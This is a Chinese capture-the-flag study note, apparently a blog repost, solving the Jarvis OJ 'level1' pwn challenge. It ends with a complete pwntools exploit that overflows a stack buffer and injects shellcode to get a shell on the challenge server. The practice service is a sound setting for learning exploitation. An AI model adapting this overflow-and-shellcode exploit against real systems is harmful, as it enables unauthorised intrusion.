Jarvis Oj Pwn 学习笔记-level1

32位pwn题目

呈上链接:

https://files.cnblogs.com/files/Magpie/level1.rar

nc pwn2.jarvisoj.com 9877

先看一下保护:

竟然什么都没开......所以...

扔进IDA找到溢出点就可以开始食用了:

选中的函数即为存在溢出点的函数:

出题人可以说......是把通往shell的钥匙贴在脸上了。。

特意烹制了一条printf告诉你栈的具体内存地址,shellcode了解一哈...

直接上exp吧:

 1 from pwn import *
 2 context(arch = 'i386', os = 'linux')
 3 r = remote('pwn2.jarvisoj.com', 9877)
 4 # EXPLOIT CODE GOES HERE
 5 ech=r.recvline()
 6 print ech+'##############'
 7 shellcode=asm(shellcraft.sh())
 8 retaddr=int(input('pls ipt=echaddr+0x88+0x08:'))
 9 print p32(retaddr)
10 payload='A'*140+p32(retaddr)+shellcode
11 r.send(payload)
12 r.interactive()

写这段的时候由于初学pwntools,还不太熟练。。

所以,,代码很丑就不说了~

猜你喜欢

转载自www.cnblogs.com/Magpie/p/9117062.html